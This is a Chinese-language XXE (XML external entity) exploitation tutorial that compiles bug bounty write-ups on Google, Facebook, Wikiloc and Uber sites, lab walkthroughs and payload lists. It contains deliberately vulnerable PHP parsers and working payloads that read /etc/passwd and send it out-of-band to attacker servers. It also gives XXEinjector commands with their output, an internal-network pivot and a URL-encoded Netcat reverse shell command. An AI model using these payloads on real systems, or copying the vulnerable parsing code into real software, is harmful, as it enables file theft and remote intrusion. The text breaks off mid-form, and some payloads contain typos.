    dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。

    Simple XXE Payload:

    <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>

    或者:

    <?php

    $a=<<<XML  //书写XML文档

    XML;      //注:在高版本php中对外部实体的解析默认关闭了,所以下面要这样写来启用

    libxml_disable_entity_loader(false);

    $data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT);

    echo $data;

    ?>

    输出:

    ###xxe的典型案例一

    1. Google xxe的读取访问

    URL:google.com/gadgets/directory?synd=toolbar

    报告链接:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers

    描述:

    了解 XML 以及外部实体之后,这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件。

    但是,根据 Detectify 小组,通过上传带有!ENTITY,指向外部文件的 XML 文件,Google 解析了该文件,并渲染了内容。因此,小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。

    https://github.com/wizardforcel/web-hacking-101-zh/raw/master/img/14-1-1.jpg

    2. Facebook  XXE

    URL:facebook.com/careers

    报告链接:http://www.attack-secure.com/blog/hacked-facebook-word-document

    描述:

    这个 XXE 有一些区别,并且比第一个例子更有挑战,因为它涉及到远程调用服务器,就像我们在描述中讨论的那样。

    2013 年末,Facebook 修补了一个 XXE 漏洞,它可能会升级为远程代码执行漏洞,因为/etc/passwd文件的内容是可访问的。因此在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候,它不认为 XXE 可能存在,直到他发现它们的职位页面允许用户上传.docx文件,它可以包含 XML。对于那些不知道的人,.docx文件只是个 XML 文件的压缩包。所以,根据 Mohames,它创建了一个.docx文件,并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中。

    <!DOCTYPE root [

    <!ENTITY % file SYSTEM "file:///etc/passwd">

    <!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">

    %dtd;

    %send;

    ]]>

    你会想到,在解析的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件,像这样:

    <!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"

    所以,回到文件中的载荷:

    1.解析器会将%dtd;替换为获取远程 DTD 文件的调用。

    2.解析器会将%send;替换为服务器的远程调用,但是%file;会替换为file:///etc/passwd的内容。

    所以,Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器,并等待接收:

    https://github.com/wizardforcel/web-hacking-101-zh/raw/master/img/14-2-1.jpg

    在报告之后,Facebook 发送了回复,拒绝了这个报告,并说它们不能重现它,并请求内容的视频验证。在交换一些信息之后,Facebook 提到招聘人员可能打开了文件,它会发送任意请求。Facebook 自傲组做了一些深入的挖掘,并给予了奖金,发送了一个邮件,解释了这个 XXE 的影响比 2013 年初的要小,但是仍然是一个有效的利用,这里是这个信息。

    https://github.com/wizardforcel/web-hacking-101-zh/raw/master/img/14-2-2.jpg

    重要结论

    这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受.docx、.xlsx、.pptx,以及其它的站点。向我之前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。

    此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。

    3. Wikiloc XXE

    URL:wikiloc.com

    报告链接:http://www.davidsopas.com/wikiloc-xxe-vulnerability

    描述:

    根据他们的站定,Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是,他们也让用户通过 XML 文件上传他们自己的记录,这就对例如 David Soaps 之类的骑手非常有吸引力了。

    基于他们的 Write Up,David 注册了 Wikiloc,并注意到了 XML 上传点,决定测试它有没有 XXE 漏洞。最开始,它从站点下载了文件来判断 XML 结构,这里是一个.gpx文件,并插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;。

    之后它调用了.gpx文件中 13 行的记录名称中的实体。

    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>

    <gpx

    version="1.0"

    creator="GPSBabel - http://www.gpsbabel.org"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xmlns="http://www.topografix.com/GPX/1/0"

    xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">

    <time>2015-10-29T12:53:09Z</time>

    <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>

    <trk>

    <name>&xxe;</name>

    <trkseg>

    <trkpt lat="40.737758000" lon="-8.093361000">

    <ele>178.000000</ele>

    <time>2009-01-10T14:18:10Z</time>

    (...)

    这产生了发往服务器的 HTTP GET 请求,GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML 文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务/etc/passwd文件,并将内容渲染在<name>元素中。

    在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的XML,来让 Wikiloc 向他发送它们的/etc/passwd文件内容。

    <!DOCTYPE roottag [

    <!ENTITY % file SYSTEM "file:///etc/issue">

    <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">

    %dtd;]>

    <gpx

    version="1.0"

    creator="GPSBabel - http://www.gpsbabel.org"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xmlns="http://www.topografix.com/GPX/1/0"

    xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">

    <time>2015-10-29T12:53:09Z</time>

    <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>

    <trk>

    <name>&send;</name>

    (...)

    这看起来十分熟悉。这里他使用了两个实体,它们都在 DTD 中求值,所以它们使用%定义。&send;在<name>标签中的的引用实际上由返回的xxe.dtd文件定义,他的服务器将其发送回 Wikiloc。这里是这个文件:

    <?xml version="1.0" encoding="UTF-8"?>

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">

    %all;

    要注意%all;实际上定义了!ENTITY send,我们刚刚在<name>标签中注意到它。这里是求值的过程:

    1.Wikiloc 解析了 XML,并将%dtd;求值为 David 的服务器的外部调用。

    2.David 的服务器向 Wikiloc 返回了xxe.dtd文件。

    3.Wikiloc 解析了收到的 DTD文件,它触发了%all;的调用。

    4.当%all;求值时,它定义了&send;,它包含%file;实体的调用。

    5.%file;在 URL 值中被替换为/etc/passwd文件的内容。

    6.Wikiloc 解析了 XML 文件,发现了&send;实体,它求值为 David 服务器的远程调用,带有/etc/passwd的内容,作为 URL 中的参数。

    重要结论:

    像之前提到的那样,这是一个不错的例子,展示了如何使用来自站点的 XML 模板,来组装你自己的 XML 实体,便于让目标合理地解析文件。这里,Wikiloc 期待.gpx文件,而 David 保留了该结构,在预期标签中插入了他自己的 XML 实体,也就是<name>标签。此外,观察如何处理恶意 DTD 文件很有意思,并且可以用于随后让目标向你的服务器发送 GET 请求,带有文件内容作为 URL 参数。

    ###客户端XXE案例

    日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时,读取xml文件且允许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情如下:
    新建一个正常文档,内容为Hi TSRC,

    使用该软件转换后可以得到文本格式的文档内容,

    当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。

     

    ###xxe漏洞环境实列

    1.环境搭建

    这里按照 Attacking XML with XML External Entity Injection (XXE) 教程在 kali 2 下进行测试

    Victim IP: 192.168.1.28

    Attacker IP: 192.168.1.17

    存在xxe漏洞的php代码如下,加了一些注释

    <?php

    # Enable the ability to load external entities

    libxml_disable_entity_loader (false);

     

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

     

    # http://hublog.hubmed.org/archives/001854.html

    # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

    # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

     

    $creds = simplexml_import_dom($dom);

    $user = $creds->user;

    $pass = $creds->pass;

     

    echo "You have logged in as user $user";

    ?>

    在 /var/www/html 下创建 xmlinject.php 文件,启动apache

    cd /var/www/html

     

    vim xmlinject.php

     

    service apache2 start

    测试

    POST http://192.168.1.28/xmlinject.php

     

     

    <creds>

                <user>admin</user>

                <pass>mypass</pass>

    </creds>

    响应

    You have logged in as user admin

    使用外部实体来加载本地文件

    POST http://192.168.1.28/xmlinject.php

     

    <?xml version="1.0" encoding="ISO-8859-1"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

    <creds>

    <user>&xxe;</user>

    <pass>mypass</pass>

    </creds>

    这里声明了一个外部实体 xxe,值为 file:///etc/passwd,即本地 /etc/passwd 文件的内容

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >

    然后在元素 user 内引用了该实体 &xxe;

    <user>&xxe;</user>

    请求响应

    You have logged in as user root:x:0:0:root:/root:/bin/bash

    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

    bin:x:2:2:bin:/bin:/usr/sbin/nologin

    sys:x:3:3:sys:/dev:/usr/sbin/nologin

    sync:x:4:65534:sync:/bin:/bin/sync

    ....

    命令执行因为默认都没有装 expect module, 就不进行测试了

    2.漏洞利用

    在之前的例子中,结果被作为响应的一部分被返回了,但如果遇到没有回显的情况,就需要使用其他办法。

    因为无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。

    前面提到只有在 DTD 文件中声明 参数实体 时才可以引用其他参数实体,如

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE foo [

        <!ENTITY % param1 "Hello">

        <!ENTITY % param2 ",World">

        <!ENTITY % outter SYSTEM "other.dtd">

        %outter;

    ]>

    other.dtd 文件内容为:

    <!ENTITY % name "%param1;%param2;">

    参数实体 name 引用了 参数实体 param1 和 param2,最后的值为 Hello,World

    根据上面的分析,给出方法:

    请求payload

    <!DOCTYPE convert [

    <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%send;

    ]>

    <foo></foo>

    外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容:

    <!ENTITY % file SYSTEM "file:///etc/hosts">

    <!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>">

    因为实体的值中不能有 %, 所以将其转成html实体编码 ` %`

    过程分析:

    首先 %remote; 加载 外部 DTD 文件,得到:

    <!ENTITY % file SYSTEM "file:///etc/hosts">

    <!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.17:80/?p=%file;'>">

     

    %int;%send;

    接着 %int; 获取对应实体的值,因为值中包含实体引用 %file;, 即 /etc/hosts 文件的内容,得到:

    <!ENTITY &#37; send system 'http://192.168.1.17:80/?p=[文件内容]'>

     

    %send;

    最后 %send; 获取对应实体的值,会去请求对应 URL 的资源,通过查看访问日志即可得到文件内容,当然这里还需要对内容进行编码,防止XML解析出错.

    **以下内容参考了exploitation-xml-external-entity-xxe-injection 这篇文章 **

    这里使用 XXEinjector 进行无回显自动化获取文件。

    首先修改之前的代码,去掉回显

    <?php

        libxml_disable_entity_loader (false);

        $xmlfile = file_get_contents('php://input');

        $dom = new DOMDocument();

        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

        // $creds = simplexml_import_dom($dom);

        // $user = $creds->user;

        // $pass = $creds->pass;

        // echo "You have logged in as user $user";

    ?>

    下载 XXEinjector

    git clone https://github.com/enjoiz/XXEinjector.git

     

    cd XXEinjector

    使用 burp 获取原始正常的请求

    curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081

    xml.txt 内容

    <creds>

        <user>Ed</user>

        <pass>mypass</pass>

    </creds>

    burp中获取到的请求信息

    POST /xmlinject.php HTTP/1.1

    Host: 192.168.1.28

    User-Agent: curl/7.43.0

    Accept: */*

    Content-Length: 57

    Content-Type: application/x-www-form-urlencoded

     

    <creds>

      <user>Ed</user>

      <pass>mypass</pass>

    </creds>

    在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt,XXEinjector 需要根据原始请求来进行获取文件内容的操作

    POST /xmlinject.php HTTP/1.1

    Host: 192.168.1.28

    User-Agent: curl/7.43.0

    Accept: */*

    Content-Length: 57

    Content-Type: application/x-www-form-urlencoded

     

    XXEINJECT

    <creds>

      <user>Ed</user>

      <pass>mypass</pass>

    </creds>

    运行 XXEinjector

    sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt  --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter

    参数说明

    host: 用于反向连接的 IP

    path: 要读取的文件或目录

    file: 原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置

    proxy: 代理服务器,这里使用burp,方便查看发起的请求和响应

    oob:使用的协议,支持 http/ftp/gopher,这里使用http

    phpfilter:使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题

    运行后会输出 payload 和 引用的 DTD 文件

    XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt  --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter

    Password:

    XXEinjector by Jakub Pałaczyński

     

    DTD injected.

    Enumeration locked.

    Sending request with malicious XML:

    http://192.168.1.28:80/xmlinject.php

    {"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"}

     

    <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>

    <creds>

      <user>Ed</user>

      <pass>mypass</pass>

    </creds>

     

    Got request for XML:

    GET /file.dtd HTTP/1.0

     

    Responding with XML for: /etc/hosts

    XML payload sent:

    <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">

    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">

     

    payload为

    <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>

    DTD文件为

    <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">

    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">

    成功获取到文件

    Response with file/directory content received:

    GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0

     

    Enumeration unlocked.

    Successfully logged file: /etc/hosts

    XXEinjector git:(master) cat Logs/192.168.1.28/etc/hosts.log

    127.0.0.1    localhost

    127.0.1.1    kali

     

    # The following lines are desirable for IPv6 capable hosts

    ::1     localhost ip6-localhost ip6-loopback

    ff02::1 ip6-allnodes

    ff02::2 ip6-allrouters

    在 kali 下拿 /etc/passwd 测试时,无法获取到,文件大小为 2.9K,base64后的长度为 3924 个字符

    root@kali:/var/www/html# ls -lh /etc/passwd

    -rw-r--r-- 1 root root 2.9K Jan 20  2016 /etc/passwd

    报错为:

    root@kali:/var/www/html# tail -f /var/log/apache2/error.log  -n 0

    [Wed Nov 16 04:45:23.548874 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Warning:  DOMDocument::loadXML(): Detected an entity reference loop in http://192.168.1.17:80/file.dtd, line: 2 in /var/www/html/xmlinject.php on line 5

    [Wed Nov 16 04:45:23.549126 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice:  DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5

    [Wed Nov 16 04:45:23.549155 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice:  DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5

    减少文件大小后,可以获取到,推测应该是 外部实体中的 URI 有长度限制导致无法获取到

    ###xxe的典型案例二

    1.安装并运行起来

    使用以下PHP脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。

    <?php

    $xmlfile = file_get_contents('php://input');

    $dom = new DOMDocument();

    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

    $xml = simplexml_import_dom($dom);

    $stuff = $xml->stuff;

    $str = "$stuff \n";

    echo $str;

    ?>

    如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml)

    现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从服务器上发送到本地主机,以确保一切都符合预期。

    2

    你可以把任何你想要的东西,像这样把它发送到本地主机。

    3

    2.一些External Entities请求

    将“send.txt”修改为以下内容:

    4

    这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。

    从 服务器上 再次发送到本地主机。

    5

    XXE可以做的另一件非常有用的事情是创建HTTP请求。

    6

    在WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么。

    7

    我的python http server服务器。

    8

    我们可以发送http请求了。

    在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。

    下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。

    9

    如果你做了适当的信息收集或者枚举,你可以发现这是一个Ubuntu的服务器。你可以在几个敏感的地址查看到这个服务器的网路信息。

    首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。

    在我的攻击PC(Ubuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”。

    在ATTACK PC上编辑文件来抓取/etc/passwd:

    10

    发送请求:

    11

    现在我们知道这个内部网络或DMZ的IP方案的host地址是在哪了。我们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。

    注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。

    12

    现在发送请求

    13

    现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。

    14

    3.构建HTTP扫描器

    将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。

    当然使用Python了。

    15

    你可以在我的<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub获取脚本。

    从ATTACK PC, EXECUTE!

    16

    让我们看看Base64如何解码10.0.0.4返回的数据。

    17

    exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/

    因为我们获得了一个index.pl(Perl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。

    解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样:

    http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2

    00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60

    注意,我把我的IP地址放在“34.200.157.80”,我的Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳,没有使用“-e”来使用mknod和backpipe。

    现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。

    18

    在ATTACK PC上创建Netcat侦听器并执行!

    19

    现在你得到一个反向的Shell了

    ###xxe典型案例三

    那是2016年7月26日的晚上,我游荡在ubermovement网站上,鉴于这只是一个小型应用网站,没有太多的参数可以进行注入测试,我只能先从界面上那大大的搜索框开始常规的测试。

    u1

    首先,打开我的 Burp Suite 设置代理开始监听浏览器请求,然后就是在网站上瞎转悠咯…

    随后,我在网站目录中发现 “search” 存在两个请求:

    1. 这个是我搜索的关键字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0

    2. http://ubermovement.com/api/search/GeneralSearch

    u2

    现在,对于第一个请求我要开始进行各种测试了,包括:XSS、SQL 注入、XPATH、XXE、命令注入…

    但理想总是丰满的,而现实却是骨干的,我没有发现任何可能存在的漏洞。

    那我只能开始继续测试第二请求了,由于其没有任何参数,所以我将其发送至 “Repeater” 模块,看看是否可能存在目录相关的漏洞。

    u3

    在大部分的注入测试全部失败后,我开始尝试看看是否存在 XXE 漏洞。

    第一件事是先将请求方法改为 POST 看看会获得什么样的相应:

    u4

    结果,POST 请求的相应跟 GET 请求一样,那么请求头部加一个Content-type:application/xml同时添加如下基本的 XML 代码作为请求怎么样呢?

    <?xml version=”1.0″encoding=”utf-8″?>

    <GeneralSearch>cat</GeneralSearch>

    u5

    竟然回复的是一个 XML 错误,太好了,这下我有60%的把握确定这里存在 XXE 漏洞。既然确定了那就开始进行 Blind XEE 测试吧。

    第一个使用如下 XML 代码:

    <?xmlversion="1.0" encoding="utf-8"?>

    <!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">

    ]>

    <GeneralSearch>&xxe;</GeneralSearch>

    但很不幸,我得到还是一个 XML 错误的回复。那现在来试试通过 OOB(Out-of-band)方法进行远程文件访问测试:

    step-1: 在本地上下载安装 XAMPP 并搭建一个网站

    step-2: 开启 80 端口的网站,让外部网络能够访问到

    step-3: 使用如下 Payoad:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">

    ]>

    <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

    step-4: 开始攻击,随后得到如下报错

    u6

    step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求

    u7

    u8

    u9

    至此,手工测试已经基本确定了目标存在 XXE 漏洞,那么再让我们用 AWVS 扫描确认下吧。

    u10

    确定目标存在 XXE 漏洞,那目标的子域名是否同样存在这个漏洞呢?来让我们使用 Google 搜索下就知道了,测试发现目标子域名同样也都存在这个漏洞,好了是时候提交漏洞了。

    ###xxe漏洞测试实列

    当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

    1.测试代码

    使用simplexml_load_string函数解析body

    <?php

    $data = file_get_contents('php://input');

    $xml = simplexml_load_string($data);

    echo $xml->name;

    ?>

    2.漏洞测试

    (1)漏洞测试方式一

    有回显,直接读取文件

    Payload:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE xxe [

    <!ELEMENT name ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

    <root>

    <name>&xxe;</name>

    </root>

    http://obr4sfdq7.bkt.clouddn.com/xxe.png

    (2)漏洞测试方式二

    无回显,引用远程服务器上的XML文件读取文件

    Payload:

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE root [

    <!ENTITY % remote SYSTEM "http://xxe.com/1.xml">

    %remote;]>

     

    将以下1.xml保存到WEB服务器下
    1.xml

    <!ENTITY % a SYSTEM "file:///etc/passwd">

    <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

     

    http://obr4sfdq7.bkt.clouddn.com/xxe1.png

    查看服务器access.log,可以看到访问日志
    http://obr4sfdq7.bkt.clouddn.com/xxe3.png

    (3)漏洞测试方式三

    在主机上放一个接收文件的php(get.php):

     

    <?php

    file_put_contents('01.txt', $_GET['xxe_local']);

    ?>

    1.xml内容:

    <!ENTITY % payload  SYSTEM"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

    <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">

    %int;

    %trick;

     

     

    这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。

    接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

    发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上
    http://obr4sfdq7.bkt.clouddn.com/xxe2.png

    查看服务器access.log,可以看到访问日志
    http://obr4sfdq7.bkt.clouddn.com/xxe4.png

    查看01.txt
    http://obr4sfdq7.bkt.clouddn.com/xxe5.png

    base64解码
    http://obr4sfdq7.bkt.clouddn.com/xxe6.png

     

    ###XXE漏洞挖掘方法

    1.简单挖掘方法

    提交POST请求XML文件

    提交一个POST请求,请求头加上Content-type:application/xml
    同时添加测试代码

    <?xml version="1.0"encoding="utf-8"?>

    <test>cat</test>

    通过OOB(Out-of-band)方法远程访问文件测试

    1.   自建一个网站开启80端口

    2.   在测试网站提交payload,如下

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">

    ]>

    <GeneralSearch>&dtgmlf6ent;</GeneralSearch>

    3.查看网站返回内容
    4.查看自建服务器访问日志,是否有DTD文件等请求

    2.确认XXE漏洞

    于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:

    请求:

    Image

    响应:

    Image

    观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求

    修改后的请求和响应:

    Image

    如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">

     %payload;

     

    <?xml version="1.0" encoding="utf-8"?>

     <!DOCTYPE root[  

     <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">  

     <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">  

     %dtd;    

     %send;]>

     <root></root>

    3.寻找XXE

    1.检测xml是否被解析

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <Prod>
    <Prod>
    <Type>abc</type>
    <name>Bugcrowd</name>
    <id>21</id>
    </Prod>
    </Prod>

    2.检测是否支持外部实体解析

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
    <Prod>
    <Prod>
    <Type>abc</type>
    <name>Bugcrowd</name>
    <id>&xxe</id>
    </Prod>
    </Prod>
     

     

    4.xxe 注入利用步骤

    在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。

    (1)测试是否允许外部实体引用

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root[

    <!ELEMENT root (data)>

    <!ELEMENT data (#PCDATA)>

    <!ENTITY var "tzuxung">

    ]>

    <root>

        <data>&var;</data>

    </root>

    (2)任意文件读取

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root[

    <!ELEMENT root (data)>

    <!ELEMENT data (#PCDATA)>

    <!ENTITY var SYSTEM "file:///etc/passwd">

    ]>

    <root>

        <data>&var;</data>

    </root>

    (3)通过PHP://过滤器读取

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root[

    <!ELEMENT root (data)>

    <!ELEMENT data (#PCDATA)>

    <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">

    ]>

    <root>

        <data>&var;</data>

    </root>

     

    (4)xxe注入测试代码

    xxe.php是一个存在XXE注入漏洞的简单页面
    <html>

    <body>

    <h1>XXE Example</h1>

    <form method="post" enctype="multipart/form-data">

        <label for="file">XML File:</label>

        <input type="file" name="file" id="file">

        <input type="submit" name="submit" value="Upload">

    </form>

     

